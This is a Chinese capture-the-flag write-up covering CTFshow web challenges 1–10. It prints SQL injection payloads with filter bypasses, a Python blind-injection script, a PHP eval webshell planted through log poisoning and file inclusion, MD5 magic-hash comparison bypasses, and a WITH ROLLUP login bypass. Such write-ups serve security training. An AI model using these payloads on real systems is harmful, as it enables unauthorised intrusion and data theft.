CTFshow超详细解题攻略(1-10)

本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。

目录

签到题

web2

web3

web4

web5

web6

web7

web8

web9

web10


签到题

题目信息

点开靶场f12查看源代码,可看到一串编码

base64解一下

得到flag

web2

题目信息

第一步:验证万能密码与注入点

首先在登录框的用户名处测试经典万能密码:

复制代码
a' or true #

密码随意输入。成功登录后,页面将查询到的当前用户名回显出来,证明此处存在明显的 SQL 注入漏洞,且有数据输出位。

第二步:探测回显列数

既然页面有明确的数据回显位,接下来就可以使用联合查询(UNION SELECT)进行脱库操作。 在用户名处输入以下 Payload 测试字段数量:

复制代码
a' union select 1,2,3 #

密码依旧随意。页面成功回显了数字 2,说明当前 SQL 查询结果为 3 个字段 ,且第 2 个字段是有效的回显点。

第三步:获取当前数据库名

确定回显位在 2 后,我们利用它来获取当前连接的数据库名称(通常 Flag 就存放在当前数据库中):

复制代码
a' union select 1,database(),3 #

执行后,页面回显了数据库名,假设得到的结果为 web2

第四步:从系统表脱库,获取表名

拿到数据库名 web2 后,下一步是获取该库下的所有表名。我们可以利用 group_concat 将多行表名拼接成一行,方便回显:

复制代码
a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='web2'),3 #

页面会回显该数据库下的所有表名,从中可以锁定目标表:flag

第五步:获取 flag 表的字段名

确定 flag 表存在后,我们查询该表的具体字段结构,为最终提取数据做准备:

复制代码
a' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='web2' and table_name='flag'),3 #

假设页面回显列名为 flag(或类似 f14g 变种)。

第六步:提取 Flag 数据

拿到对应字段名后,直接构造 Payload 读取最终数据:

复制代码
a' union select 1,(select flag from flag),3 #

提交该 Payload,页面会在第 2 个回显位直接输出完整的 flag{...},成功通关!

web3

题目信息

一、漏洞发现:绕过前端进行任意文件读取

打开靶场后,习惯性地按 F12 打开开发者工具查看网络请求。观察 Network 面板,可以发现后端服务器运行的是 Nginx

核心知识点:什么是 Nginx 日志? 如果把 Nginx 比作餐厅里效率极高的服务员,那么日志文件就相当于服务员的工作日记:

  • access.log(访问日志):记录每位顾客(客户端)点了什么(请求什么资源),什么时候来的,这位服务员处理得怎么样。这是信息量最大、在 CTF 中最常用的日志。

  • error.log(错误日志):记录服务员在操作过程中的磕磕碰碰,比如找不到某个菜品(404 错误)、后厨罢工了(服务启动失败)等。

任意文件读取探测: 在地址栏后添加 Payload:

复制代码
?url=/var/log/nginx/access.log

回车后发现,原本的 Web 页面直接返回了大量 Nginx 访问日志的明文数据。这说明服务器端没有对文件访问路径进行严格过滤 ,存在典型的任意文件读取漏洞


二、漏洞利用:利用 Burp Suite 在日志中植入木马

既然可以读取日志,我们可以尝试将一段一句话木马 写入 access.log 中。 常用的日志注入点就是 User-Agent(用户代理) 请求头。

操作步骤:

  1. 打开 Burp Suite,开启拦截(Proxy -> Intercept is on)。

  2. 在浏览器中开启代理并刷新靶机页面。

  3. Burp 成功抓取到请求包后,右键选择 Send to Repeater

  4. 在 Repeater 的请求面板中,找到 User-Agent 字段,将其内容替换为 PHP 一句话木马:

    复制代码
    <?php @eval($_POST['hacker']); ?>
  5. 点击 Send 发送请求。

  6. 如果右侧 Response 面板中返回了正常的 HTTP 响应,说明木马已经成功写入到 Nginx 的 access.log 中。虽然日志文件混杂了大量其他文本,但通过文件包含漏洞加载该日志时,PHP 解析器依然会识别并执行其中的 PHP 代码。


三、远程连接:蚁剑(AntSword)获取 Flag

木马成功植入后,就可以利用蚁剑进行远程连接:

  1. 打开蚁剑,在空白处右键,选择 "添加数据"

  2. URL 地址 :填入靶机的完整地址(例如 http://靶机IP/?url=/var/log/nginx/access.log)。

  3. 连接密码 :填入我们设定的 hacker

  4. 点击"测试连接",如果右下角提示 "连接成功",保存配置并双击进入。

进入远程服务器后,直接浏览目录文件(通常在 /var/www/html 或根目录下),找到名为 ctf go go goflag 的文件,打开即可看到最终的 flag{...}

web4

题目信息

一、漏洞发现与初步尝试

打开靶场后,页面直接显示了一部分源码,其中提示了 include() 函数通过 GET 参数 url 包含文件,这明确指向了文件包含漏洞

第一步,我们尝试利用 php://input 伪协议执行 PHP 代码,查看当前目录文件:

复制代码
?url=php://input

并在 POST 请求体中加入 PHP 命令,然而服务器返回了 error,说明执行失败(通常是因为 allow_url_include 被禁用或后端做了拦截)。

二、提示转向:日志注入

既然 php://input 被阻断,结合题目提示,我们确认漏洞的真正突破点在于日志注入

漏洞成因与原理: 日志包含漏洞通常是因为服务器未对文件读取路径进行严格过滤,同时又开启了日志记录功能。中间件(如 Nginx、Apache)会将每次访问的请求信息(包括 HTTP 请求行、User-Agent、Referer 等客户端信息)记录到日志文件中。

如果我们直接在请求头中植入恶意代码(如 PHP 一句话木马),这段代码会被原封不动地写入日志文件。此时,再利用文件包含漏洞去读取该日志文件,服务器解析时就会触发并执行日志里的恶意代码,从而获得 Webshell。

常见中间件日志存放路径:

  • Apache: /var/log/apache/access.log

  • Nginx: /var/log/nginx/access.log(访问日志)和 /var/log/nginx/error.log(错误日志,默认记录 error 级别及以上的信息)

三、攻击步骤:植入木马与获取 Shell

确认当前中间件为 Nginx 后,我们利用 Burp Suite 进行抓包与日志注入:

  1. 抓包与构造请求: 使用 Burp Suite 拦截访问靶机的 GET 请求,并将请求发送到 Repeater 模块。

  2. 利用 User-Agent 植入木马: 在请求头中找到 User-Agent 字段,将其替换为 PHP 一句话木马:

    复制代码
    <?php @eval($_POST['cmd']); ?>

    发送该请求,确保服务器正常响应,此时木马已成功写入 Nginx 的 access.log 中。

  3. 蚁剑连接服务器: 打开中国蚁剑(AntSword),右键添加数据:

    • URL 地址: http://靶机IP/?url=/var/log/nginx/access.log

    • 连接密码: hacker

    测试连接成功,双击进入目标服务器,浏览目录即可找到 Flag 文件,成功拿下。

web5

题目信息

一、代码审计与限制条件

打开靶场,获得一段 PHP 源码,

核心逻辑如下:

复制代码
if (isset($_GET['v1']) && isset($_GET['v2'])) {
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    if (!ctype_alpha($v1)) {
        die("v1 error");
    }
    if (!is_numeric($v2)) {
        die("v2 error");
    }
    if (md5($v1) == md5($v2)) {
        echo $flag;
    } else {
        echo "wrong!";
    }
} else {
    echo "where is flag?";
}

限制条件梳理:

  1. 通过 GET 方式传入 v1v2 两个参数。

  2. v1 必须全部由字母组成ctype_alpha 校验)。

  3. v2 必须由纯数字组成is_numeric 校验)。

  4. 最终突破点:md5($v1) == md5($v2) 必须成立。


二、核心漏洞原理:PHP 松散比较的 0e 陷阱

代码中比较 MD5 值时使用的是双等号 ==松散比较 ),而非全等号 ===。在 PHP 中,当两个字符串进行比较时,如果字符串以 0e 开头且后面全部是数字,PHP 会将其自动视为科学计数法

数学原理: 0e12345 等同于 0 × 10¹²³⁴⁵,结果即为 0 。 因此,如果两个不同的字符串经过 MD5 加密后,哈希值都以 0e 开头且后接纯数字,那么在使用 == 比较时,它们都会被视作 0,从而 0 == 0 结果为 True,成功绕过限制。

经典的黄金组合(出题人常用):

  • QNKCDZO 的 MD5 哈希值为:0e830400451993494058024219903391

  • 240610708 的 MD5 哈希值为:0e462097431906509019562988736854

由于 QNKCDZO 全是字母,240610708 纯数字,这两个参数恰好能完美通过 ctype_alphais_numeric 的层层限制。


三、最终 Payload 构造与提交

将上述两个经典字符串分别作为 v1v2 的值,通过 GET 请求提交:

复制代码
http://靶机域名/?v1=QNKCDZO&v2=240610708

发送请求后,后端验证逻辑顺利走到最后一步,判断通过,页面即可直接返回最终的 flag{...}

web6

题目信息

一、发现注入点与绕过空格过滤

进入靶场后,在登录页面的用户名输入框进行测试,猜测此处存在 SQL 注入漏洞。

初步测试 Payload:

复制代码
1' or 1=1 #

提交后页面直接报错。结合经验判断,可能是后端防火墙(WAF)或过滤规则拦截了空格 字符。此时我们可以采用 /\**/(多行注释) 来代替空格进行绕过。

绕过后的 Payload:

复制代码
1'/**/or/**/1=1/**/

页面正常响应,说明注入点存在,且成功绕过了空格拦截。


二、探测回显列数

为了进一步利用 联合查询(UNION SELECT) 进行脱库,必须先判断当前查询结果的字段数量。

注入 Payload:

复制代码
1'/**/or/**/1=1/**/union/**/select/**/1,2,3#

页面成功回显了数字 2,说明当前查询共有 3 个字段,且 第 2 列 是可用的回显位置。


三、获取当前数据库名

利用第 2 个回显位,调用 database() 函数获取当前连接的数据库名称。

注入 Payload:

复制代码
1'/**/or/**/1=1/**/union/**/select/**/1,database(),3#

页面回显了当前数据库名为:web2


四、获取 web2 库下的所有表名

利用系统表 information_schema.tables 来查询 web2 库下的所有表名,并通过 group_concat() 函数将结果拼接成一行以便回显。

注入 Payload:

复制代码
0'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#

页面回显了该库下的表,发现有一个关键表名:flag


五、获取 flag 表的字段名

确定目标表为 flag 后,利用 information_schema.columns 查询该表的所有列名。

注入 Payload:

复制代码
0'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#

页面回显了列名:flag


六、最终获取 Flag 数据

拿到了数据库、表名和列名,直接构造 Payload 读取 flag 表中的具体数据。

注入 Payload:

复制代码
0'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#

页面成功将 flag{...} 显示在页面上,拿下靶场!

web7

题目信息

第一步:发现注入点与空格绕过

打开靶场,点击第一篇文章,发现 URL 中含有参数 id=1,初步怀疑存在 SQL 注入漏洞。

尝试构造经典 Payload:

复制代码
id=1 and 1=1#

页面报错,说明后端可能存在 WAF 或黑名单机制。结合经验,尝试使用 /\**/(多行注释)代替空格进行绕过:

复制代码
id=1/**/and/**/1=1#

页面正常显示,继续测试:

复制代码
id=1/**/and/**/1=2#

页面显示异常(与正常页面不同),由此确定此处存在数字型 SQL 注入 ,且过滤规则成功被 /**/ 绕过。

第二步:联合查询探测回显位

注入点确认后,使用 UNION SELECT 进行联合查询。由于 id 通常为正数,我们将 id 设为负数(如 -1),让原查询结果为空,从而直接展示联合查询的结果,方便定位回显位。

探测 Payload:

复制代码
id=-1/**/union/**/select/**/1,2,3#

提交后,页面将数字 2 回显出来,说明当前共有 3 个字段,且第 2 个字段即为可利用的回显位。

第三步:获取当前数据库名

利用第 2 个回显位,调用 database() 函数获取当前连接数据库的名称:

复制代码
id=-1/**/union/**/select/**/1,database(),3#

页面回显当前数据库名为:web7

第四步:获取数据库 web7 中的所有表名

获得库名后,通过 information_schema.tables 系统表查询该库下的所有表名,并使用 group_concat() 将多行结果拼接成一行输出:

复制代码
id=-1/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema="web7"),3#

页面回显的表名中包含了一个目标表:flag

第五步:获取 flag 表中的所有列名

锁定 flag 表后,继续查询 information_schema.columns 获取它的字段结构:

复制代码
id=-1/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag"),3#

页面回显列名:flag

第六步:直接读取 Flag 数据

万事俱备,直接读取 flag 表中的 flag 字段内容:

复制代码
id=-1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3#

提交后,页面成功回显出 flag{...},靶场通关!

web8

题目信息

一、题目背景与过滤分析

进入靶场后,发现页面与 web7 结构完全相同,注入点同样在 id 参数。但不同的是,这道题过滤规则更加严格

  • 空格 被拦截

  • 引号('" 被拦截

  • unionandor 等关键词被拦截

面对如此严格的 WAF,传统的联合查询注入和自动化工具(如默认配置的 SQLMap)会非常难以施展,因此,我们需要手工编写 Python 脚本来进行布尔盲注


二、核心绕过技巧与脚本设计思路

1. 绕过空格:使用 /\**/ 注释符 由于前后端检测并过滤了空格,我们在 SQL 语句中所有需要空格的地方,统一替换为 /**/

2. 绕过引号:使用十六进制编码 当需要查询特定字符串(如 table_schema='web8'table_name='flag')时,直接使用单引号会被拦截。我们可以将字符串转为十六进制来表示,例如:

  • 'flag' 转换为 0x666C6167

  • 'web8' 转换为 0x77656238 (在盲注脚本中,直接传入十六进制数据即可避开引号检测)。

3. 布尔盲注核心原理 由于页面无法直接回显数据,我们只能通过判断 HTTP 响应是否包含特定特征字符 (本题脚本中使用的是 If 特征)来推测结果。即如果 SQL 语句中的条件成立,页面会返回包含 If 的响应;条件不成立,则不包含 If


三、自定义 SQL 注入脚本详解

利用 Python 编写布尔盲注脚本,其主要逻辑是:逐位截取返回结果的字符,将其转换为 ASCII 码,并与字典(31~128 的 ASCII 范围)进行碰撞。 如果页面响应包含特定的真特征,则说明当前猜测的字符正确,继续向下探测。

完整注入脚本代码示例:

复制代码
import requests
 
# 输入目标URL
url = input('输入目标URL: ').strip()
if not url.endswith('/'):
    url += '/'
if 'id=' not in url:
    url += 'index.php?id=-1/**/or/**/'
 
# 选择注入类型
while True:
    print('\n选择注入类型:')
    print('1. 当前数据库')
    print('2. 所有表名')
    print('3. flag表字段')
    print('4. 所有列名')
    print('5. flag数据')
    print('6. 退出')
    choice = input('请选择 (1-6): ').strip()
 
    # 如果选择6,退出程序
    if choice == '6':
        print('退出程序')
        exit()
 
    # 根据选择设置payload模板
    payloads = {
        '1': 'ascii(substr(database()from/**/%d/**/for/**/1))=%d',
        '2': 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d',
        '3': 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d',
        '4': 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d',
        '5': 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
    }
 
    if choice not in payloads:
        print('无效选择,请重新选择')
        continue
    payload_template = payloads[choice]
 
    # 输入最大长度
    max_length_input = input('最大长度(默认100): ').strip()
    max_length = int(max_length_input) if max_length_input else 100
    name = ''
    # 循环获取字符
    for i in range(1, max_length + 1):
        count = 0
        # 计算并显示百分比进度
        progress = int((i - 1) / max_length * 100)
        print(f'\r进度: {progress}%', end='', flush=True)
        # 截取SQL查询结果的每个字符, 并判断字符内容
        found = False
        for j in range(31, 128):
            result = requests.get(url + payload_template % (i, j))
  
            if 'If' in result.text:
                name += chr(j)
                found = True
                break
 
            # 如果某个字符不存在,则停止当前注入
            count += 1
            if count >= (128 - 31):
                break
 
        # 如果没找到字符,说明已经获取完所有内容
        if not found:
            break
    # 显示100%进度并输出完整内容
    print(f'\r进度: 100%', end='', flush=True)
    print(f'\n\n获取完成!')
    print(f'数据库名/表名/字段名/数据: {name}')

四、预期运行结果(Flag 获取)

根据选项输入对应的数字,脚本会进入自动盲注流程。经过一段时间的逐字枚举后,控制台会打印出完整的数据库结构或数据。

例如选择 5(获取 flag 数据): 运行完毕后,脚本会输出如下内容:

web9

题目信息

第一步:敏感文件探测与源码泄露

使用目录扫描工具对靶场进行探测,发现存在 robots.txt 文件。 查看 robots.txt 内容,其中泄露了一个备份文件的路径。下载该备份文件,成功获取到后端登录逻辑的 PHP 源码。

第二步:代码审计与漏洞点定位

核心源码如下:

复制代码
<?php
    $flag="";
    $password=$_POST['password'];
    if(strlen($password)>10){
        die("password error");
    }
    $sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
    $result=mysqli_query($con,$sql);
    if(mysqli_num_rows($result)>0){
        while($row=mysqli_fetch_assoc($result)){
             echo "登陆成功<br>";
             echo $flag;
         }
    }
?>

审计发现的关键点:

  1. 密码长度限制:strlen($password) > 10 直接报错,限制了我们使用极长的 Payload。

  2. 核心注入点 :SQL 语句在拼接时,调用了 md5($password, true)

  3. 验证机制:只要 mysqli_num_rows($result) > 0,就会输出 $flag

第三步:漏洞原理解析(md5($password, true) 注入)

这道题的核心考点在于理解 PHP 中 md5() 函数的第二个参数:

  • 默认情况(无参数或 falsemd5($password) 输出 32 位十六进制字符串(例如 e10adc3949ba59abbe56e057f20f883e)。

  • 危险情况(传入 truemd5($password, true) 会输出 16 字节的原始二进制数据(Raw Binary)

当这个原始二进制数据 被直接拼接到 SQL 语句中时,如果二进制数据里恰好包含了 单引号 'or 等特殊字符,就会打破原有的 SQL 语法结构,从而产生 SQL 注入

第四步:构造 Payload 通关

经过安全研究人员长期的测试,找到了一些特殊的字符串,它们的 MD5 原始二进制数据正好能组成一段有效的 SQL 注入语句(例如 ' or '...)。

最常用的注入 Payload 是:ffifdyop

  • md5("ffifdyop", true) 生成的原始二进制转为可读字符大约是:' or '6�]��!r,��b

  • 拼接后最终的 SQL 语句变为:... where username ='admin' and password ='' or '6...'

  • 核心逻辑password = '' 为假,但紧随其后的 or '6...' 在布尔判断中会被 MySQL 视为 真(True) ,从而绕过登录限制,使 mysqli_num_rows($result) > 0 成立,最终输出 Flag。

通关 Payload: 在靶场登录页面的密码框中,直接输入:

复制代码
ffifdyop

点击登录,即可成功绕过身份验证,页面会直接回显 flag{...}

web10

题目信息

这是一道考法非常经典的 SQL 注入题,主要难点在于严格的过滤机制与利用 GROUP BY 的独特特性进行绕过。

1. 源码分析与限制条件

访问靶场,通过点击"取消"按钮下载到后端源码。核心逻辑如下(已做关键提炼):

复制代码
function replaceSpecialChar($str) {
    // 过滤常见的 SQL 关键字和空格
    return preg_replace('/select|from|where|join|sleep|and|\s|union/i', '', $str);
}
​
if (strlen($password) != strlen(replaceSpecialChar($password))) {
    die("sql inject error"); // 检测到注入,直接拦截
}
​
$sql = "SELECT * FROM user WHERE username = '$username' AND password = '$password'";

关键的防御逻辑在于:

  1. 黑名单过滤: replaceSpecialChar 函数会删除输入字符串中的 select, from, and, union 等关键字,并过滤掉了所有空格(\s)。

  2. 双写拦截: if(strlen(...)) 检测输入和过滤后字符串长度是否一致,不一致则说明其中包含"脏字",直接 die()。这有效防止了 union 这类双写绕过攻击(如 ununionion)。

2. 寻找绕过路径与核心利用点

由于 unionand 等常规注入手段被完全封锁,我们需要转换思路。观察过滤规则,group bywith rollup 并未被列入黑名单

关键原理:WITH ROLLUP 的特性GROUP BY 语句后附加 WITH ROLLUP,会对分组结果进行汇总统计。当数据库在进行汇总计算时,会生成一行额外的数据,这行数据的聚合列(这里也就是 password)的值通常为 NULL

3. 构造最终 Payload

我们的目标是:通过 SQL 注入,伪造出一个密码为 NULL 的用户,从而绕过密码校验。

  1. 由于空格被过滤,我们需要使用 /**/ 注释符来代替空格。

  2. 构造的 Payload 为:

    复制代码
    admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/#
  3. 这里利用了 username = 'admin' or 1=1 来确保查询能覆盖到目标用户,并通过 GROUP BY password WITH ROLLUP 强制数据库在结果集中额外生成一行 password = NULL 的数据。

登录验证: 在提交时,我们将密码栏留空。 后端接收到空密码,会进行如下校验:

  1. $password 为空字符串。

  2. 由于 MySQL 执行了 WITH ROLLUP,查询结果中多出了一行 passwordNULL 的记录。

  3. 在 PHP 中进行 if ($password == $row['password']) 比较时,如果参与比较的一方是 NULL,PHP 会将空字符串转化为 NULL,从而使得 NULL == NULL 成立。

  4. mysqli_num_rows($result) > 0 且密码验证成功,最终直接弹出 Flag。